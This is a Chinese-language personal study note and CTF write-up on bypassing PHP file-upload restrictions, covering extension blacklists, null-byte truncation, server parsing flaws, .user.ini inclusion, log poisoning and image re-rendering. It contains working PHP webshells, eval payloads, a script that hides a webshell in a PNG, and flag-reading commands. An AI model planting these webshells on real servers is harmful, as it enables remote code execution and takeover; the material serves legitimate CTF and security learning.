【心得】PHP的文件上传个人笔记

目录

1 php的文件上传绕过 黑名单绕过

2 php文件上传的00截断

3 iconv字符转换异常后造成了字符截断

4 文件后缀是白名单的时候的绕过

  web服务器的解析漏洞绕过

5.高级文件上传绕过 

  1  .htaccess nginx.htaccess

2 服务端内容检测

3 配合伪协议来绕过

4.配合日志包含绕过

 5 上传html来xss 执行跨站脚本

6 getimagesize函数绕过

7 png二次渲染绕过

8 jpg二次渲染绕过

9 phar文件上传绕过

---

1 php的文件上传绕过 黑名单绕过

后缀替换为空时，我们通过提交  1.pphphp 替换php为空后，得到1.php   成功写入木马

php3 php5 phps phtml

php后缀替换为txt时，我们无法双写绕过，1.pphphp  1.ptxthp

例题1:web42

先随便上传一个马子

发现php后缀被替换为空

 

尝试双写绕过

访问/upload/yjh.php

成功写入，下略

2 php文件上传的00截断

  hello world

  hello空格world\n\00

  123.php  明显不让直接上传

  123.php%00.jpg 那么后台判断的时候，取最后一个点后面的字符作为后缀  jpg  看起来是合法的文件名称

  ./upload/123.php%00.jpg   ->  ./upload/123.php

  00字符截断需要的版本 

  php版本小于5.3.4  而最新的php版本已经达到8.1
  java版本小于7u40,而最新的java版本已经达到20以上

3 iconv字符转换异常后造成了字符截断

php在文件上传场景下的文件名字符集转换时，可能出现截断问题

utf-8字符集  默认的字符编码范围的是0x00-0x7f  

iconv转换的字符不在上面这个范围之内，低版本的php会报异常，报了异常以后，后续字符不再处理

就会造成截断问题

  123.php%df.jpg   123.php

  php版本低于5.4才可以使用  

4 文件后缀是白名单的时候的绕过

  白名单：只准上传这几个后缀   因为匹配的内容少  所以限制的范围就大
  黑名单：不准上传这几个后缀   因为匹配的内容多  所以限制的范围就小 仅限于自己制定的几个，除了这几个，其他都行

  web服务器的解析漏洞绕过

  apache 
        a 多后缀解析漏洞  当我们上传apache不认识的后缀时，apahce会继续往前找后缀，找到认识的就解析执行

          123.txt.ctfshow  123.txt  文本文档形式解析

          123.php.ctfshow  123.php  就交给中间件处理php脚本

        b ImageMagic组件白名单绕过

          目标主机安装了这个漏洞版本的ImageMagic插件 <=3.3.0
          在php.ini中启用了这个插件
          通过了php new Imageick 对象的方式来处理图片时
          且 php版本大于 5.4时  

          才可以使用，上传特定的svg图片，来实现组件的缺陷导致任意代码执行

  nginx  基于错误的nginx配置 和 php-fpm配置，当我们访问  123.txt/123.php  
      
         cgi.fix_pathinfo 默认开启  123.txt/123.php  当123.php不存在时，会找/前面的文件进行php解析，这时候，就成功解析了123.txt为php脚本了

  iis   Windows下使用  iis6.0版本中，如果解析的目录名字为 xxx.asp 那么里面的所有文件，都会按照asp来解析 123.txt  WindowsXP  Windows Server 2003 

例题2：web43

随便上传一个文件

后缀白名单txt 

抓个包看下响应头，发现是nginx

这里利用nginx解析漏洞

先上传一个yjh3.txt

内容<?php @eval($_POST['cmd']);?>

上传成功，访问/upload/yjh3.txt/suibian.php

成功访问

post传：cmd=system('tac /f*');

5.高级文件上传绕过 

  1  .htaccess nginx.htaccess

     php.ini     

     虚拟主机时代     一个物理服务器，里面可能存放几十上百个网站   每个网站，一个目录 

     A 网站  需要这样的php.ini配置
     B 网站  却需要那样的php.ini配置
     C 网站  又需要另外的php.ini配置 

     总的php.ini不动，A B C 3个网站分别在自己目录定义自己的配置，作用域也仅限于自己目录 

     自定义配置文件   .htaccess nginx.htaccess

     在nginx 下，默认使用.user.ini 配置文件来进行php的配置

     使用

     auto_append_file=123.txt  来让任意的php文件包含123.txt，执行里面的php代码
 

例题3：web44

抓包发现是nginx，考虑用.user.ini

.user.ini

GIF89a
auto_prepend_file=yjh3.txt 

yjh3.txt

<?php eval($_POST['cmd']);?>

最后在index.php中post:cmd=system('tac /f*');

略

(本质是文件上传配合文件包含实现rce的效果)

2 服务端内容检测

不局限检测文件名，还会检测文件的后缀 文件的内容 

<?php system eval $_POST

二分法确定出被检测的关键字，使用替代语法绕过

例题4:web45

在上一题基础上还加了个文件内容检测

随便上传一个txt文件，回显内容非法

二分法多试几次修改成<?=eval($_COOKIE[1]); 

因为cookie中如;的一些特殊字符不能出现

所以最终payload:

1=eval(base64_decode('c3lzdGVtKCd0YWMgL2YqJyk7'))?>

3 配合伪协议来绕过

例题5：web46

这题真是惊掉下巴了，还有这种姿势hhh

.user.ini内容

 抓包，传post

真乃神技也 （）

4.配合日志包含绕过

例题6：web47

同格局打开

直接UA写马

<?php system('tac /f*');?>

 5 上传html来xss 执行跨站脚本

这个之后展开来讲，先按下不表

6 getimagesize函数绕过

  getimagesize函数来检测是不是图片，而不采取其他措施的情况下，如果一旦绕过getimagesize函数，就可以实现任意文件上传

  XBM 格式图片 

  #define %s %d 这种形式，就认为时XBM图片的高或者宽

例题7：web48

这题用web47的payload也可以通杀（因为自己有加GIF89a的好习惯）

当然也可以这样写.user.ini

注意：如果是apache的.htaccess

则不能直接加GIF89a，否则不能解析，此时必须要#define来绕过

7 png二次渲染绕过

正常做法：move_uploaded_file 方式移动我们上传的临时文件到上传目录去

二次渲染做法：通过imagepng方法来，来动态依据我们上传的图片的二次生成一个png图片 里面的php代码就会被清洗掉

所以，我们需要使用特殊的方式，来构造我们的图片

贴一段生成脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>*/?>

 生成图片，再提交，发现存在一个文件包含，那得了，直接rce

（浏览器返回的数据是图片形式的，所以要bp抓包看原始数据）

 拿到flag

8 jpg二次渲染绕过

  使用专用图来生成jpg木马，实现经过二次渲染后，我们的恶意代码，依然能够保留在图片中，通过文件包含，执行里面的php代码

9 phar文件上传绕过

 之前文章有总结过，不多说